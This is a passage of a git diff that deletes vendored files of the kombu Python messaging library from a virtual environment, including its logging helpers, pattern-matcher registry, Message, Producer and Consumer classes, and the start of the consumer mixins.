log(severity, - self.annotate(args[0].replace('%r', '%s')), - *list(safeify_format(args[0], expand)), **kwargs) - else: - return self.logger.log( - severity, self.annotate(' '.join(map(safe_str, args))), - **kwargs) - - def get_logger(self): - return get_logger(self.logger_name) - - def is_enabled_for(self, level): - return self.logger.isEnabledFor(self.get_loglevel(level)) - - def get_loglevel(self, level): - if not isinstance(level, numbers.Integral): - return LOG_LEVELS[level] - return level - - @cached_property - def logger(self): - return self.get_logger() - - @property - def logger_name(self): - return self.__class__.__name__ - - -class Log(LogMixin): - - def __init__(self, name, logger=None): - self._logger_name = name - self._logger = logger - - def get_logger(self): - if self._logger: - return self._logger - return super().get_logger() - - @property - def logger_name(self): - return self._logger_name - - -def setup_logging(loglevel=None, logfile=None): - """Setup logging.""" - logger = logging.getLogger() - loglevel = get_loglevel(loglevel or 'ERROR') - logfile = logfile if logfile else sys.__stderr__ - if not logger.handlers: - if hasattr(logfile, 'write'): - handler = logging.StreamHandler(logfile) - else: - handler = WatchedFileHandler(logfile) - logger.addHandler(handler) - logger.setLevel(loglevel) - return logger diff --git a/venv/Lib/site-packages/kombu/matcher.py b/venv/Lib/site-packages/kombu/matcher.py deleted file mode 100644 index fa0c585084dd515d69ee0c0a814623f2875f0df0..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/matcher.py +++ /dev/null @@ -1,144 +0,0 @@ -"""Pattern matching registry.""" - -from __future__ import annotations - -from fnmatch import fnmatch -from re import match as rematch -from typing import Callable, cast - -from .utils.compat import entrypoints -from .utils.encoding import bytes_to_str - -MatcherFunction = Callable[[str, str], bool] - - -class MatcherNotInstalled(Exception): - """Matcher not installed/found.""" - - -class MatcherRegistry: - """Pattern matching function registry.""" - - MatcherNotInstalled = MatcherNotInstalled - matcher_pattern_first = ["pcre", ] - - def __init__(self) -> None: - self._matchers: dict[str, MatcherFunction] = {} - self._default_matcher: MatcherFunction | None = None - - def register(self, name: str, matcher: MatcherFunction) -> None: - """Add matcher by name to the registry.""" - self._matchers[name] = matcher - - def unregister(self, name: str) -> None: - """Remove matcher by name from the registry.""" - try: - self._matchers.pop(name) - except KeyError: - raise self.MatcherNotInstalled( - f'No matcher installed for {name}' - ) - - def _set_default_matcher(self, name: str) -> None: - """Set the default matching method. - - :param name: The name of the registered matching method. - For example, `glob` (default), `pcre`, or any custom - methods registered using :meth:`register`. - - :raises MatcherNotInstalled: If the matching method requested - is not available. - """ - try: - self._default_matcher = self._matchers[name] - except KeyError: - raise self.MatcherNotInstalled( - f'No matcher installed for {name}' - ) - - def match( - self, - data: bytes, - pattern: bytes, - matcher: str | None = None, - matcher_kwargs: dict[str, str] | None = None - ) -> bool: - """Call the matcher.""" - if matcher and not self._matchers.get(matcher): - raise self.MatcherNotInstalled( - f'No matcher installed for {matcher}' - ) - match_func = self._matchers[matcher or 'glob'] - if matcher in self.matcher_pattern_first: - first_arg = bytes_to_str(pattern) - second_arg = bytes_to_str(data) - else: - first_arg = bytes_to_str(data) - second_arg = bytes_to_str(pattern) - return match_func(first_arg, second_arg, **matcher_kwargs or {}) - - -#: Global registry of matchers. -registry = MatcherRegistry() - -""" -.. function:: match(data, pattern, matcher=default_matcher, - matcher_kwargs=None): - - Match `data` by `pattern` using `matcher`. - - :param data: The data that should be matched. Must be string. - :param pattern: The pattern that should be applied. Must be string. - :keyword matcher: An optional string representing the matching - method (for example, `glob` or `pcre`). - - If :const:`None` (default), then `glob` will be used. - - :keyword matcher_kwargs: Additional keyword arguments that will be passed - to the specified `matcher`. - :returns: :const:`True` if `data` matches pattern, - :const:`False` otherwise. - - :raises MatcherNotInstalled: If the matching method requested is not - available. -""" -match = registry.match - -""" -.. function:: register(name, matcher): - Register a new matching method. - - :param name: A convenient name for the matching method. - :param matcher: A method that will be passed data and pattern. -""" -register = registry.register - -""" -.. function:: unregister(name): - Unregister registered matching method. - - :param name: Registered matching method name. -""" -unregister = registry.unregister - - -def register_glob() -> None: - """Register glob into default registry.""" - registry.register('glob', fnmatch) - - -def register_pcre() -> None: - """Register pcre into default registry.""" - registry.register('pcre', cast(MatcherFunction, rematch)) - - -# Register the base matching methods. -register_glob() -register_pcre() - -# Default matching method is 'glob' -registry._set_default_matcher('glob') - -# Load entrypoints from installed extensions -for ep, args in entrypoints('kombu.matchers'): - register(ep.name, *args) diff --git a/venv/Lib/site-packages/kombu/message.py b/venv/Lib/site-packages/kombu/message.py deleted file mode 100644 index 3c9d07ae67ea1130ca32d64e6bf141e6d2dc4b4c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/message.py +++ /dev/null @@ -1,234 +0,0 @@ -"""Message class.""" - -from __future__ import annotations - -import sys - -from .compression import decompress -from .exceptions import MessageStateError, reraise -from .serialization import loads -from .utils.functional import dictfilter - -__all__ = ('Message',) - -ACK_STATES = {'ACK', 'REJECTED', 'REQUEUED'} -IS_PYPY = hasattr(sys, 'pypy_version_info') - - -class Message: - """Base class for received messages. - - Keyword Arguments: - ----------------- - channel (ChannelT): If message was received, this should be the - channel that the message was received on. - - body (str): Message body. - - delivery_mode (bool): Set custom delivery mode. - Defaults to :attr:`delivery_mode`. - - priority (int): Message priority, 0 to broker configured - max priority, where higher is better. - - content_type (str): The messages content_type. If content_type - is set, no serialization occurs as it is assumed this is either - a binary object, or you've done your own serialization. - Leave blank if using built-in serialization as our library - properly sets content_type. - - content_encoding (str): The character set in which this object - is encoded. Use "binary" if sending in raw binary objects. - Leave blank if using built-in serialization as our library - properly sets content_encoding. - - properties (Dict): Message properties. - - headers (Dict): Message headers. - """ - - MessageStateError = MessageStateError - - errors = None - - if not IS_PYPY: # pragma: no cover - __slots__ = ( - '_state', 'channel', 'delivery_tag', - 'content_type', 'content_encoding', - 'delivery_info', 'headers', 'properties', - 'body', '_decoded_cache', 'accept', '__dict__', - ) - - def __init__(self, body=None, delivery_tag=None, - content_type=None, content_encoding=None, delivery_info=None, - properties=None, headers=None, postencode=None, - accept=None, channel=None, **kwargs): - delivery_info = {} if not delivery_info else delivery_info - self.errors = [] if self.errors is None else self.errors - self.channel = channel - self.delivery_tag = delivery_tag - self.content_type = content_type - self.content_encoding = content_encoding - self.delivery_info = delivery_info - self.headers = headers or {} - self.properties = properties or {} - self._decoded_cache = None - self._state = 'RECEIVED' - self.accept = accept - - compression = self.headers.get('compression') - if not self.errors and compression: - try: - body = decompress(body, compression) - except Exception: - self.errors.append(sys.exc_info()) - - if not self.errors and postencode and isinstance(body, str): - try: - body = body.encode(postencode) - except Exception: - self.errors.append(sys.exc_info()) - self.body = body - - def _reraise_error(self, callback=None): - try: - reraise(*self.errors[0]) - except Exception as exc: - if not callback: - raise - callback(self, exc) - - def ack(self, multiple=False): - """Acknowledge this message as being processed. - - This will remove the message from the queue. - - Raises - ------ - MessageStateError: If the message has already been - acknowledged/requeued/rejected. - """ - if self.channel is None: - raise self.MessageStateError( - 'This message does not have a receiving channel') - if self.channel.no_ack_consumers is not None: - try: - consumer_tag = self.delivery_info['consumer_tag'] - except KeyError: - pass - else: - if consumer_tag in self.channel.no_ack_consumers: - return - if self.acknowledged: - raise self.MessageStateError( - 'Message already acknowledged with state: {0._state}'.format( - self)) - self.channel.basic_ack(self.delivery_tag, multiple=multiple) - self._state = 'ACK' - - def ack_log_error(self, logger, errors, multiple=False): - try: - self.ack(multiple=multiple) - except BrokenPipeError as exc: - logger.critical("Couldn't ack %r, reason:%r", - self.delivery_tag, exc, exc_info=True) - raise - except errors as exc: - logger.critical("Couldn't ack %r, reason:%r", - self.delivery_tag, exc, exc_info=True) - - def reject_log_error(self, logger, errors, requeue=False): - try: - self.reject(requeue=requeue) - except errors as exc: - logger.critical("Couldn't reject %r, reason: %r", - self.delivery_tag, exc, exc_info=True) - - def reject(self, requeue=False): - """Reject this message. - - The message will be discarded by the server. - - Raises - ------ - MessageStateError: If the message has already been - acknowledged/requeued/rejected. - """ - if self.channel is None: - raise self.MessageStateError( - 'This message does not have a receiving channel') - if self.acknowledged: - raise self.MessageStateError( - 'Message already acknowledged with state: {0._state}'.format( - self)) - self.channel.basic_reject(self.delivery_tag, requeue=requeue) - self._state = 'REJECTED' - - def requeue(self): - """Reject this message and put it back on the queue. - - Warning: - ------- - You must not use this method as a means of selecting messages - to process. - - Raises - ------ - MessageStateError: If the message has already been - acknowledged/requeued/rejected. - """ - if self.channel is None: - raise self.MessageStateError( - 'This message does not have a receiving channel') - if self.acknowledged: - raise self.MessageStateError( - 'Message already acknowledged with state: {0._state}'.format( - self)) - self.channel.basic_reject(self.delivery_tag, requeue=True) - self._state = 'REQUEUED' - - def decode(self): - """Deserialize the message body. - - Returning the original python structure sent by the publisher. - - Note: - ---- - The return value is memoized, use `_decode` to force - re-evaluation. - """ - if not self._decoded_cache: - self._decoded_cache = self._decode() - return self._decoded_cache - - def _decode(self): - return loads(self.body, self.content_type, - self.content_encoding, accept=self.accept) - - @property - def acknowledged(self): - """Set to true if the message has been acknowledged.""" - return self._state in ACK_STATES - - @property - def payload(self): - """The decoded message body.""" - return self._decoded_cache if self._decoded_cache else self.decode() - - def __repr__(self): - return '<{} object at {:#x} with details {!r}>'.format( - type(self).__name__, id(self), dictfilter( - state=self._state, - content_type=self.content_type, - delivery_tag=self.delivery_tag, - body_length=len(self.body) if self.body is not None else None, - properties=dictfilter( - correlation_id=self.properties.get('correlation_id'), - type=self.properties.get('type'), - ), - delivery_info=dictfilter( - exchange=self.delivery_info.get('exchange'), - routing_key=self.delivery_info.get('routing_key'), - ), - ), - ) diff --git a/venv/Lib/site-packages/kombu/messaging.py b/venv/Lib/site-packages/kombu/messaging.py deleted file mode 100644 index dc9f10b21b8cc7b899a3a93a18cae97f4b60c705..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/messaging.py +++ /dev/null @@ -1,678 +0,0 @@ -"""Sending and receiving messages.""" - -from __future__ import annotations - -from itertools import count -from typing import TYPE_CHECKING - -from .common import maybe_declare -from .compression import compress -from .connection import PooledConnection, is_connection, maybe_channel -from .entity import Exchange, Queue, maybe_delivery_mode -from .exceptions import ContentDisallowed -from .serialization import dumps, prepare_accept_content -from .utils.functional import ChannelPromise, maybe_list - -if TYPE_CHECKING: - from types import TracebackType - -__all__ = ('Exchange', 'Queue', 'Producer', 'Consumer') - - -class Producer: - """Message Producer. - - Arguments: - --------- - channel (kombu.Connection, ChannelT): Connection or channel. - exchange (kombu.entity.Exchange, str): Optional default exchange. - routing_key (str): Optional default routing key. - serializer (str): Default serializer. Default is `"json"`. - compression (str): Default compression method. - Default is no compression. - auto_declare (bool): Automatically declare the default exchange - at instantiation. Default is :const:`True`. - on_return (Callable): Callback to call for undeliverable messages, - when the `mandatory` or `immediate` arguments to - :meth:`publish` is used. This callback needs the following - signature: `(exception, exchange, routing_key, message)`. - Note that the producer needs to drain events to use this feature. - """ - - #: Default exchange - exchange = None - - #: Default routing key. - routing_key = '' - - #: Default serializer to use. Default is JSON. - serializer = None - - #: Default compression method. Disabled by default. - compression = None - - #: By default, if a default exchange is set, - #: that exchange will be declare when publishing a message. - auto_declare = True - - #: Basic return callback. - on_return = None - - #: Set if channel argument was a Connection instance (using - #: default_channel). - __connection__ = None - - def __init__(self, channel, exchange=None, routing_key=None, - serializer=None, auto_declare=None, compression=None, - on_return=None): - self._channel = channel - self.exchange = exchange - self.routing_key = routing_key or self.routing_key - self.serializer = serializer or self.serializer - self.compression = compression or self.compression - self.on_return = on_return or self.on_return - self._channel_promise = None - if self.exchange is None: - self.exchange = Exchange('') - if auto_declare is not None: - self.auto_declare = auto_declare - - if self._channel: - self.revive(self._channel) - - def __repr__(self): - return f'' - - def __reduce__(self): - return self.__class__, self.__reduce_args__() - - def __reduce_args__(self): - return (None, self.exchange, self.routing_key, self.serializer, - self.auto_declare, self.compression) - - def declare(self): - """Declare the exchange. - - Note: - ---- - This happens automatically at instantiation when - the :attr:`auto_declare` flag is enabled. - """ - if self.exchange.name: - self.exchange.declare() - - def maybe_declare(self, entity, retry=False, **retry_policy): - """Declare exchange if not already declared during this session.""" - if entity: - return maybe_declare(entity, self.channel, retry, **retry_policy) - - def _delivery_details(self, exchange, delivery_mode=None, - maybe_delivery_mode=maybe_delivery_mode, - Exchange=Exchange): - if isinstance(exchange, Exchange): - return exchange.name, maybe_delivery_mode( - delivery_mode or exchange.delivery_mode, - ) - # exchange is string, so inherit the delivery - # mode of our default exchange. - return exchange, maybe_delivery_mode( - delivery_mode or self.exchange.delivery_mode, - ) - - def publish(self, body, routing_key=None, delivery_mode=None, - mandatory=False, immediate=False, priority=0, - content_type=None, content_encoding=None, serializer=None, - headers=None, compression=None, exchange=None, retry=False, - retry_policy=None, declare=None, expiration=None, timeout=None, - confirm_timeout=None, - **properties): - """Publish message to the specified exchange. - - Arguments: - --------- - body (Any): Message body. - routing_key (str): Message routing key. - delivery_mode (enum): See :attr:`delivery_mode`. - mandatory (bool): Currently not supported. - immediate (bool): Currently not supported. - priority (int): Message priority. A number between 0 and 9. - content_type (str): Content type. Default is auto-detect. - content_encoding (str): Content encoding. Default is auto-detect. - serializer (str): Serializer to use. Default is auto-detect. - compression (str): Compression method to use. Default is none. - headers (Dict): Mapping of arbitrary headers to pass along - with the message body. - exchange (kombu.entity.Exchange, str): Override the exchange. - Note that this exchange must have been declared. - declare (Sequence[EntityT]): Optional list of required entities - that must have been declared before publishing the message. - The entities will be declared using - :func:`~kombu.common.maybe_declare`. - retry (bool): Retry publishing, or declaring entities if the - connection is lost. - retry_policy (Dict): Retry configuration, this is the keywords - supported by :meth:`~kombu.Connection.ensure`. - expiration (float): A TTL in seconds can be specified per message. - Default is no expiration. - timeout (float): Set timeout to wait maximum timeout second - for message to publish. - confirm_timeout (float): Set confirm timeout to wait maximum timeout second - for message to confirm publishing if the channel is set to confirm publish mode. - **properties (Any): Additional message properties, see AMQP spec. - """ - _publish = self._publish - - declare = [] if declare is None else declare - headers = {} if headers is None else headers - retry_policy = {} if retry_policy is None else retry_policy - routing_key = self.routing_key if routing_key is None else routing_key - compression = self.compression if compression is None else compression - - exchange_name, properties['delivery_mode'] = self._delivery_details( - exchange or self.exchange, delivery_mode, - ) - - if expiration is not None: - properties['expiration'] = str(int(expiration * 1000)) - - body, content_type, content_encoding = self._prepare( - body, serializer, content_type, content_encoding, - compression, headers) - - if self.auto_declare and self.exchange.name: - if self.exchange not in declare: - # XXX declare should be a Set. - declare.append(self.exchange) - - if retry: - self.connection.transport_options.update(retry_policy) - _publish = self.connection.ensure(self, _publish, **retry_policy) - return _publish( - body, priority, content_type, content_encoding, - headers, properties, routing_key, mandatory, immediate, - exchange_name, declare, timeout, confirm_timeout, retry, retry_policy - ) - - def _publish(self, body, priority, content_type, content_encoding, - headers, properties, routing_key, mandatory, - immediate, exchange, declare, timeout=None, confirm_timeout=None, retry=False, retry_policy=None): - retry_policy = {} if retry_policy is None else retry_policy - channel = self.channel - message = channel.prepare_message( - body, priority, content_type, - content_encoding, headers, properties, - ) - if declare: - maybe_declare = self.maybe_declare - for entity in declare: - maybe_declare(entity, retry=retry, **retry_policy) - - # handle autogenerated queue names for reply_to - reply_to = properties.get('reply_to') - if isinstance(reply_to, Queue): - properties['reply_to'] = reply_to.name - return channel.basic_publish( - message, - exchange=exchange, routing_key=routing_key, - mandatory=mandatory, immediate=immediate, - timeout=timeout, confirm_timeout=confirm_timeout - ) - - def _get_channel(self): - channel = self._channel - if isinstance(channel, ChannelPromise): - channel = self._channel = channel() - self.exchange.revive(channel) - if self.on_return: - channel.events['basic_return'].add(self.on_return) - return channel - - def _set_channel(self, channel): - self._channel = channel - - channel = property(_get_channel, _set_channel) - - def revive(self, channel): - """Revive the producer after connection loss.""" - if is_connection(channel): - connection = channel - self.__connection__ = connection - channel = ChannelPromise(lambda: connection.default_channel) - if isinstance(channel, ChannelPromise): - self._channel = channel - self.exchange = self.exchange(channel) - else: - # Channel already concrete - self._channel = channel - if self.on_return: - self._channel.events['basic_return'].add(self.on_return) - self.exchange = self.exchange(channel) - - def __enter__(self): - return self - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None - ) -> None: - # In case the connection is part of a pool it needs to be - # replaced in case of an exception - if self.__connection__ is not None and exc_type is not None: - if isinstance(self.__connection__, PooledConnection): - self.__connection__._pool.replace(self.__connection__) - - self.release() - - def release(self): - pass - - close = release - - def _prepare(self, body, serializer=None, content_type=None, - content_encoding=None, compression=None, headers=None): - - # No content_type? Then we're serializing the data internally. - if not content_type: - serializer = serializer or self.serializer - (content_type, content_encoding, - body) = dumps(body, serializer=serializer) - else: - # If the programmer doesn't want us to serialize, - # make sure content_encoding is set. - if isinstance(body, str): - if not content_encoding: - content_encoding = 'utf-8' - body = body.encode(content_encoding) - - # If they passed in a string, we can't know anything - # about it. So assume it's binary data. - elif not content_encoding: - content_encoding = 'binary' - - if compression: - body, headers['compression'] = compress(body, compression) - - return body, content_type, content_encoding - - @property - def connection(self): - try: - return self.__connection__ or self.channel.connection.client - except AttributeError: - pass - - -class Consumer: - """Message consumer. - - Arguments: - --------- - channel (kombu.Connection, ChannelT): see :attr:`channel`. - queues (Sequence[kombu.Queue]): see :attr:`queues`. - no_ack (bool): see :attr:`no_ack`. - auto_declare (bool): see :attr:`auto_declare` - callbacks (Sequence[Callable]): see :attr:`callbacks`. - on_message (Callable): See :attr:`on_message` - on_decode_error (Callable): see :attr:`on_decode_error`. - prefetch_count (int): see :attr:`prefetch_count`. - """ - - ContentDisallowed = ContentDisallowed - - #: The connection/channel to use for this consumer. - channel = None - - #: A single :class:`~kombu.Queue`, or a list of queues to - #: consume from. - queues = None - - #: Flag for automatic message acknowledgment. - #: If enabled the messages are automatically acknowledged by the - #: broker. This can increase performance but means that you - #: have no control of when the message is removed. - #: - #: Disabled by default. - no_ack = None - - #: By default all entities will be declared at instantiation, if you - #: want to handle this manually you can set this to :const:`False`. - auto_declare = True - - #: List of callbacks called in order when a message is received. - #: - #: The signature of the callbacks must take two arguments: - #: `(body, message)`, which is the decoded message body and - #: the :class:`~kombu.Message` instance. - callbacks = None - - #: Optional function called whenever a message is received. - #: - #: When defined this function will be called instead of the - #: :meth:`receive` method, and :attr:`callbacks` will be disabled. - #: - #: So this can be used as an alternative to :attr:`callbacks` when - #: you don't want the body to be automatically decoded. - #: Note that the message will still be decompressed if the message - #: has the ``compression`` header set. - #: - #: The signature of the callback must take a single argument, - #: which is the :class:`~kombu.Message` object. - #: - #: Also note that the ``message.body`` attribute, which is the raw - #: contents of the message body, may in some cases be a read-only - #: :class:`buffer` object. - on_message = None - - #: Callback called when a message can't be decoded. - #: - #: The signature of the callback must take two arguments: `(message, - #: exc)`, which is the message that can't be decoded and the exception - #: that occurred while trying to decode it. - on_decode_error = None - - #: List of accepted content-types. - #: - #: An exception will be raised if the consumer receives - #: a message with an untrusted content type. - #: By default all content-types are accepted, but not if - #: :func:`kombu.disable_untrusted_serializers` was called, - #: in which case only json is allowed. - accept = None - - #: Initial prefetch count - #: - #: If set, the consumer will set the prefetch_count QoS value at startup. - #: Can also be changed using :meth:`qos`. - prefetch_count = None - - #: Mapping of queues we consume from. - _queues = None - - _tags = count(1) # global - - def __init__(self, channel, queues=None, no_ack=None, auto_declare=None, - callbacks=None, on_decode_error=None, on_message=None, - accept=None, prefetch_count=None, tag_prefix=None): - self.channel = channel - self.queues = maybe_list(queues or []) - self.no_ack = self.no_ack if no_ack is None else no_ack - self.callbacks = (self.callbacks or [] if callbacks is None - else callbacks) - self.on_message = on_message - self.tag_prefix = tag_prefix - self._active_tags = {} - if auto_declare is not None: - self.auto_declare = auto_declare - if on_decode_error is not None: - self.on_decode_error = on_decode_error - self.accept = prepare_accept_content(accept) - self.prefetch_count = prefetch_count - - if self.channel: - self.revive(self.channel) - - @property - def queues(self): # noqa - return list(self._queues.values()) - - @queues.setter - def queues(self, queues): - self._queues = {q.name: q for q in queues} - - def revive(self, channel): - """Revive consumer after connection loss.""" - self._active_tags.clear() - channel = self.channel = maybe_channel(channel) - # modify dict size while iterating over it is not allowed - for qname, queue in list(self._queues.items()): - # name may have changed after declare - self._queues.pop(qname, None) - queue = self._queues[queue.name] = queue(self.channel) - queue.revive(channel) - - if self.auto_declare: - self.declare() - - if self.prefetch_count is not None: - self.qos(prefetch_count=self.prefetch_count) - - def declare(self): - """Declare queues, exchanges and bindings. - - Note: - ---- - This is done automatically at instantiation - when :attr:`auto_declare` is set. - """ - for queue in self._queues.values(): - queue.declare() - - def register_callback(self, callback): - """Register a new callback to be called when a message is received. - - Note: - ---- - The signature of the callback needs to accept two arguments: - `(body, message)`, which is the decoded message body - and the :class:`~kombu.Message` instance. - """ - self.callbacks.append(callback) - - def __enter__(self): - self.consume() - return self - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None - ) -> None: - if self.channel and self.channel.connection: - conn_errors = self.channel.connection.client.connection_errors - if not isinstance(exc_val, conn_errors): - try: - self.cancel() - except Exception: - pass - - def add_queue(self, queue): - """Add a queue to the list of queues to consume from. - - Note: - ---- - This will not start consuming from the queue, - for that you will have to call :meth:`consume` after. - """ - queue = queue(self.channel) - if self.auto_declare: - queue.declare() - self._queues[queue.name] = queue - return queue - - def consume(self, no_ack=None): - """Start consuming messages. - - Can be called multiple times, but note that while it - will consume from new queues added since the last call, - it will not cancel consuming from removed queues ( - use :meth:`cancel_by_queue`). - - Arguments: - --------- - no_ack (bool): See :attr:`no_ack`. - """ - queues = list(self._queues.values()) - if queues: - no_ack = self.no_ack if no_ack is None else no_ack - - H, T = queues[:-1], queues[-1] - for queue in H: - self._basic_consume(queue, no_ack=no_ack, nowait=True) - self._basic_consume(T, no_ack=no_ack, nowait=False) - - def cancel(self): - """End all active queue consumers. - - Note: - ---- - This does not affect already delivered messages, but it does - mean the server will not send any more messages for this consumer. - """ - cancel = self.channel.basic_cancel - for tag in self._active_tags.values(): - cancel(tag) - self._active_tags.clear() - - close = cancel - - def cancel_by_queue(self, queue): - """Cancel consumer by queue name.""" - qname = queue.name if isinstance(queue, Queue) else queue - try: - tag = self._active_tags.pop(qname) - except KeyError: - pass - else: - self.channel.basic_cancel(tag) - finally: - self._queues.pop(qname, None) - - def consuming_from(self, queue): - """Return :const:`True` if currently consuming from queue'.""" - name = queue - if isinstance(queue, Queue): - name = queue.name - return name in self._active_tags - - def purge(self): - """Purge messages from all queues. - - Warning: - ------- - This will *delete all ready messages*, there is no undo operation. - """ - return sum(queue.purge() for queue in self._queues.values()) - - def flow(self, active): - """Enable/disable flow from peer. - - This is a simple flow-control mechanism that a peer can use - to avoid overflowing its queues or otherwise finding itself - receiving more messages than it can process. - - The peer that receives a request to stop sending content - will finish sending the current content (if any), and then wait - until flow is reactivated. - """ - self.channel.flow(active) - - def qos(self, prefetch_size=0, prefetch_count=0, apply_global=False): - """Specify quality of service. - - The client can request that messages should be sent in - advance so that when the client finishes processing a message, - the following message is already held locally, rather than needing - to be sent down the channel. Prefetching gives a performance - improvement. - - The prefetch window is Ignored if the :attr:`no_ack` option is set. - - Arguments: - --------- - prefetch_size (int): Specify the prefetch window in octets. - The server will send a message in advance if it is equal to - or smaller in size than the available prefetch size (and - also falls within other prefetch limits). May be set to zero, - meaning "no specific limit", although other prefetch limits - may still apply. - - prefetch_count (int): Specify the prefetch window in terms of - whole messages. - - apply_global (bool): Apply new settings globally on all channels. - """ - return self.channel.basic_qos(prefetch_size, - prefetch_count, - apply_global) - - def recover(self, requeue=False): - """Redeliver unacknowledged messages. - - Asks the broker to redeliver all unacknowledged messages - on the specified channel. - - Arguments: - --------- - requeue (bool): By default the messages will be redelivered - to the original recipient. With `requeue` set to true, the - server will attempt to requeue the message, potentially then - delivering it to an alternative subscriber. - """ - return self.channel.basic_recover(requeue=requeue) - - def receive(self, body, message): - """Method called when a message is received. - - This dispatches to the registered :attr:`callbacks`. - - Arguments: - --------- - body (Any): The decoded message body. - message (~kombu.Message): The message instance. - - Raises - ------ - NotImplementedError: If no consumer callbacks have been - registered. - """ - callbacks = self.callbacks - if not callbacks: - raise NotImplementedError('Consumer does not have any callbacks') - [callback(body, message) for callback in callbacks] - - def _basic_consume(self, queue, consumer_tag=None, - no_ack=no_ack, nowait=True): - tag = self._active_tags.get(queue.name) - if tag is None: - tag = self._add_tag(queue, consumer_tag) - queue.consume(tag, self._receive_callback, - no_ack=no_ack, nowait=nowait) - return tag - - def _add_tag(self, queue, consumer_tag=None): - tag = consumer_tag or '{}{}'.format( - self.tag_prefix, next(self._tags)) - self._active_tags[queue.name] = tag - return tag - - def _receive_callback(self, message): - accept = self.accept - on_m, channel, decoded = self.on_message, self.channel, None - try: - m2p = getattr(channel, 'message_to_python', None) - if m2p: - message = m2p(message) - if accept is not None: - message.accept = accept - if message.errors: - return message._reraise_error(self.on_decode_error) - decoded = None if on_m else message.decode() - except Exception as exc: - if not self.on_decode_error: - raise - self.on_decode_error(message, exc) - else: - return on_m(message) if on_m else self.receive(decoded, message) - - def __repr__(self): - return f'<{type(self).__name__}: {self.queues}>' - - @property - def connection(self): - try: - return self.channel.connection.client - except AttributeError: - pass diff --git a/venv/Lib/site-packages/kombu/mixins.py b/venv/Lib/site-packages/kombu/mixins.py deleted file mode 100644 index 14c1c1b9fd8703ef42f60c826d7db4eef0093699..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/mixins.py +++ /dev/null @@ -1,303 +0,0 @@ -"""Mixins.""" - -from __future__ import annotations - -import socket -from contextlib import contextmanager -from functools import partial -from itertools import count -from time import sleep - -from .common import ignore_errors -from .log import get_logger -from .messaging import Consumer, Producer -from .utils.compat import nested -from .utils.encoding import safe_repr -from .utils.limits import TokenBucket -from .utils.objects import cached_property - -__all__ = ('ConsumerMixin', 'ConsumerProducerMixin') - -logger = get_logger(__name__) -debug, info, warn, error = ( - logger.debug, - logger.info, - logger.warning, - logger.error -) - -W_CONN_LOST = """\ -Connection to broker lost, trying to re-establish connection...\ -""" - -W_CONN_ERROR = """\ -Broker connection error, trying again in %s seconds: %r.\ -""" - - -class ConsumerMixin: - """Convenience mixin for implementing consumer programs. - - It can be used outside of threads, with threads, or greenthreads - (eventlet/gevent) too. - - The basic class would need a :attr:`connection` attribute - which must be a :class:`~kombu.Connection` instance, - and define a :meth:`get_consumers` method that returns a list - of :class:`kombu.Consumer` instances to use. - Supporting multiple consumers is important so that multiple - channels can be used for different QoS requirements. - - Example: - ------- - .. code-block:: python - - class Worker(ConsumerMixin): - task_queue = Queue('tasks', Exchange('tasks'), 'tasks') - - def __init__(self, connection): - self.connection = None - - def get_consumers(self, Consumer, channel): - return [Consumer(queues=[self.task_queue], - callbacks=[self.on_task])] - - def on_task(self, body, message): - print('Got task: {0!r}'.format(body)) - message.ack() - - Methods - ------- - * :meth:`extra_context` - - Optional extra context manager that will be entered - after the connection and consumers have been set up. - - Takes arguments ``(connection, channel)``. - - * :meth:`on_connection_error` - - Handler called if the connection is lost/ or - is unavailable. - - Takes arguments ``(exc, interval)``, where interval - is the time in seconds when the connection will be retried. - - The default handler will log the exception. - - * :meth:`on_connection_revived` - - Handler called as soon as the connection is re-established - after connection failure. - - Takes no arguments. - - * :meth:`on_consume_ready` - - Handler called when the consumer is ready to accept - messages. - - Takes arguments ``(connection, channel, consumers)``. - Also keyword arguments to ``consume`` are forwarded - to this handler. - - * :meth:`on_consume_end` - - Handler called after the consumers are canceled. - Takes arguments ``(connection, channel)``. - - * :meth:`on_iteration` - - Handler called for every iteration while draining - events. - - Takes no arguments. - - * :meth:`on_decode_error` - - Handler called if a consumer was unable to decode - the body of a message. - - Takes arguments ``(message, exc)`` where message is the - original message object. - - The default handler will log the error and - acknowledge the message, so if you override make - sure to call super, or perform these steps yourself. - - """ - - #: maximum number of retries trying to re-establish the connection, - #: if the connection is lost/unavailable. - connect_max_retries = None - - #: When this is set to true the consumer should stop consuming - #: and return, so that it can be joined if it is the implementation - #: of a thread. - should_stop = False - - def get_consumers(self, Consumer, channel): - raise NotImplementedError('Subclass responsibility') - - def on_connection_revived(self): - pass - - def on_consume_ready(self, connection, channel, consumers, **kwargs): - pass - - def on_consume_end(self, connection, channel): - pass - - def on_iteration(self): - pass - - def on_decode_error(self, message, exc): - error("Can't decode message body: %r (type:%r encoding:%r raw:%r')", - exc, message.content_type, message.content_encoding, - safe_repr(message.body)) - message.ack() - - def on_connection_error(self, exc, interval): - warn(W_CONN_ERROR, interval, exc, exc_info=1) - - @contextmanager - def extra_context(self, connection, channel): - yield - - def run(self, _tokens=1, **kwargs): - restart_limit = self.restart_limit - errors = (self.connection.connection_errors + - self.connection.channel_errors) - while not self.should_stop: - try: - if restart_limit.can_consume(_tokens): # pragma: no cover - for _ in self.consume(limit=None, **kwargs): - pass - else: - sleep(restart_limit.expected_time(_tokens)) - except errors: - warn(W_CONN_LOST, exc_info=1) - - @contextmanager - def consumer_context(self, **kwargs): - with self.Consumer() as (connection, channel, consumers): - with self.extra_context(connection, channel): - self.on_consume_ready(connection, channel, consumers, **kwargs) - yield connection, channel, consumers - - def consume(self, limit=None, timeout=None, safety_interval=1, **kwargs): - elapsed = 0 - with self.consumer_context(**kwargs) as (conn, channel, consumers): - for i in limit and range(limit) or count(): - if self.should_stop: - break - self.on_iteration() - try: - conn.drain_events(timeout=safety_interval) - except socket.timeout: - conn.heartbeat_check() - elapsed += safety_interval - if timeout and elapsed >= timeout: - raise - except OSError: - if not self.should_stop: - raise - else: - yield - elapsed = 0 - debug('consume exiting') - - def maybe_conn_error(self, fun): - """Use :func:`kombu.common.ignore_errors` instead.""" - return ignore_errors(self, fun) - - def create_connection(self): - return self.connection.clone() - - @contextmanager - def establish_connection(self): - with self.create_connection() as conn: - conn.ensure_connection(self.on_connection_error, - 